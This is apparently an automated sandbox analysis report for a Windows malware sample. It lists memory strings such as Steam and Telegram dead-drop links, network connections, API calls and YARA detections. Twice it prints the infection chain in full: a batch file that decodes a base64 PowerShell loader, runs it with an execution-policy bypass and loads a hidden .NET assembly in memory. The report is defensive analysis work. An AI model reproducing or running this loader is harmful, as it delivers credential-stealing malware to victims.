Source: powershell.exe, 00000006.00000002.1334348181.00000000061CA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1347040814.0000000009099000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199658817715https://t.me/sa9okRed
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	String found in binary or memory: https://steamcommunity.com/workshop/
Source: 76561199658817715[1].htm.13.dr	String found in binary or memory: https://store.steampowered.com/
Source: 76561199658817715[1].htm.13.dr	String found in binary or memory: https://store.steampowered.com/about/
Source: RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	String found in binary or memory: https://store.steampowered.com/explore/
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	String found in binary or memory: https://store.steampowered.com/legal/
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	String found in binary or memory: https://store.steampowered.com/mobile
Source: RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	String found in binary or memory: https://store.steampowered.com/news/
Source: RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	String found in binary or memory: https://store.steampowered.com/stats/
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: GCGDGHCBGDHJJKECAECBAEGCBG.13.dr	String found in binary or memory: https://support.mozilla.org
Source: GCGDGHCBGDHJJKECAECBAEGCBG.13.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: GCGDGHCBGDHJJKECAECBAEGCBG.13.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.Qb0WswhkLhoa
Source: powershell.exe, 00000006.00000002.1334348181.00000000061CA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1347040814.0000000009099000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, RegAsm.exe, 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/sa9ok
Source: nss3[1].dll.13.dr, mozglue.dll.13.dr, softokn3[1].dll.13.dr, freebl3.dll.13.dr, mozglue[1].dll.13.dr, softokn3.dll.13.dr, freebl3[1].dll.13.dr, nss3.dll.13.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: FCAKFCGC.13.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: FCAKFCGC.13.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: GCGDGHCBGDHJJKECAECBAEGCBG.13.dr	String found in binary or memory: https://www.mozilla.org
Source: RegAsm.exe, 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: GCGDGHCBGDHJJKECAECBAEGCBG.13.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.8Z86fTxZfkM6
Source: RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/ost.exe
Source: RegAsm.exe, 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: GCGDGHCBGDHJJKECAECBAEGCBG.13.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.UnUp0v0CLe9Y
Source: RegAsm.exe, 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: GCGDGHCBGDHJJKECAECBAEGCBG.13.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/vchost.exe
Source: GCGDGHCBGDHJJKECAECBAEGCBG.13.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: RegAsm.exe, 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/chost.exe
Source: GCGDGHCBGDHJJKECAECBAEGCBG.13.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723

Source: unknown	HTTPS traffic detected: 23.47.27.74:443 -> 192.168.2.11:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 78.46.229.36:443 -> 192.168.2.11:49708 version: TLS 1.2

Source: C:\Users\user\Desktop\yU3icg18lq.exe

Code function: 0_2_0040571B GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_0040571B

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 13_2_0040FFD0 _EH_prolog,memset,GetDesktopWindow,GetWindowRect,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GlobalFix,GlobalSize,SelectObject,DeleteObject,DeleteObject,ReleaseDC,CloseWindow,

13_2_0040FFD0

System Summary

Malicious sample detected (through community Yara rule)

Source: Process Memory Space: powershell.exe PID: 5304, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7252, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Very long command line found

Source: C:\Windows\SysWOW64\cmd.exe	Process created: Commandline size = 2881
Source: C:\Windows\SysWOW64\cmd.exe	Process created: Commandline size = 2881			Jump to behavior

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\SysWOW64\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\temp.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCg0KJGVuY29kZWRBcnJheSA9IEAoMTU5LDIyMCwyMzgsMjM4LDIyNCwyMzIsMjIxLDIzMSwyNDQsMTY5LDE5MiwyMzMsMjM5LDIzNywyNDQsMjAzLDIzNCwyMjgsMjMzLDIzOSwxNjksMTk2LDIzMywyNDEsMjM0LDIzMCwyMjQsMTYzLDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY3LDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY0LDE4MikNCiRkZWNvZGVkU3RyaW5nID0gQ29udmVydC1Bc2NpaVRvU3RyaW5nICRlbmNvZGVkQXJyYXkNCg0KDQokZmlsZVBhdGggPSBKb2luLVBhdGggJGVudjpVc2VyUHJvZmlsZSAiLXRlbXAuYmF0Ig0KJGxhc3RMaW5lID0gR2V0LUNvbnRlbnQgLVBhdGggJGZpbGVQYXRoIHwgU2VsZWN0LU9iamVjdCAtTGFzdCAxDQokY2xlYW5lZExpbmUgPSAkbGFzdExpbmUgLXJlcGxhY2UgJ146OicNCiRyZXZlcnNlID0gUmV2ZXJzZVN0cmluZyAkY2xlYW5lZExpbmUNCiRkZWNvbXByZXNzZWRCeXRlID0gRGVjb21wcmVzc0J5dGVzIC1jb21wcmVzc2VkRGF0YSAkcmV2ZXJzZQ0KDQokYXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dJGRlY29tcHJlc3NlZEJ5dGUpDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KSW52b2tlLUV4cHJlc3Npb24gJGRlY29kZWRTdHJpbmcNCg0KQ2xvc2UtUHJvY2VzcyAtUHJvY2Vzc05hbWUgImNtZCI=')) \| Out-File -FilePath 'C:\Users\user\-temp.ps1' -Encoding UTF8"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user\-temp.ps1"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\temp.bat" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCg0KJGVuY29kZWRBcnJheSA9IEAoMTU5LDIyMCwyMzgsMjM4LDIyNCwyMzIsMjIxLDIzMSwyNDQsMTY5LDE5MiwyMzMsMjM5LDIzNywyNDQsMjAzLDIzNCwyMjgsMjMzLDIzOSwxNjksMTk2LDIzMywyNDEsMjM0LDIzMCwyMjQsMTYzLDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY3LDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY0LDE4MikNCiRkZWNvZGVkU3RyaW5nID0gQ29udmVydC1Bc2NpaVRvU3RyaW5nICRlbmNvZGVkQXJyYXkNCg0KDQokZmlsZVBhdGggPSBKb2luLVBhdGggJGVudjpVc2VyUHJvZmlsZSAiLXRlbXAuYmF0Ig0KJGxhc3RMaW5lID0gR2V0LUNvbnRlbnQgLVBhdGggJGZpbGVQYXRoIHwgU2VsZWN0LU9iamVjdCAtTGFzdCAxDQokY2xlYW5lZExpbmUgPSAkbGFzdExpbmUgLXJlcGxhY2UgJ146OicNCiRyZXZlcnNlID0gUmV2ZXJzZVN0cmluZyAkY2xlYW5lZExpbmUNCiRkZWNvbXByZXNzZWRCeXRlID0gRGVjb21wcmVzc0J5dGVzIC1jb21wcmVzc2VkRGF0YSAkcmV2ZXJzZQ0KDQokYXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dJGRlY29tcHJlc3NlZEJ5dGUpDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KSW52b2tlLUV4cHJlc3Npb24gJGRlY29kZWRTdHJpbmcNCg0KQ2xvc2UtUHJvY2VzcyAtUHJvY2Vzc05hbWUgImNtZCI=')) \| Out-File -FilePath 'C:\Users\user\-temp.ps1' -Encoding UTF8"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user\-temp.ps1"	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CDBB8C0 rand_s,NtQueryVirtualMemory,	13_2_6CDBB8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CDBB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	13_2_6CDBB910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CDBB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	13_2_6CDBB700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CD5F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	13_2_6CD5F280

Source: C:\Users\user\Desktop\yU3icg18lq.exe

Code function: 0_2_00403532 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrlenW,wsprintfW,GetFileAttributesW,DeleteFileW,SetCurrentDirectoryW,CopyFileW,ExitProcess,OleUninitialize,ExitProcess,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_00403532

Source: C:\Users\user\Desktop\yU3icg18lq.exe	Code function: 0_2_00406DC6	0_2_00406DC6
Source: C:\Users\user\Desktop\yU3icg18lq.exe	Code function: 0_2_0040759D	0_2_0040759D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00DCA7F0	6_2_00DCA7F0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00DCF310	6_2_00DCF310
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_0041B0A7	13_2_0041B0A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_0041A47A	13_2_0041A47A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_0041C5B0	13_2_0041C5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423C74	13_2_00423C74
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423C7C	13_2_00423C7C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423CC0	13_2_00423CC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423CC4	13_2_00423CC4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423CC8	13_2_00423CC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423CCC	13_2_00423CCC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423CD0	13_2_00423CD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423CD4	13_2_00423CD4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423CD8	13_2_00423CD8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423CDC	13_2_00423CDC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423CE0	13_2_00423CE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423CE4	13_2_00423CE4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423CE8	13_2_00423CE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423CEC	13_2_00423CEC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423CF0	13_2_00423CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423CF4	13_2_00423CF4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423CA0	13_2_00423CA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423CA4	13_2_00423CA4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423CA8	13_2_00423CA8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423CAC	13_2_00423CAC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423CB0	13_2_00423CB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423CB4	13_2_00423CB4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00423CB8	13_2_00423CB8
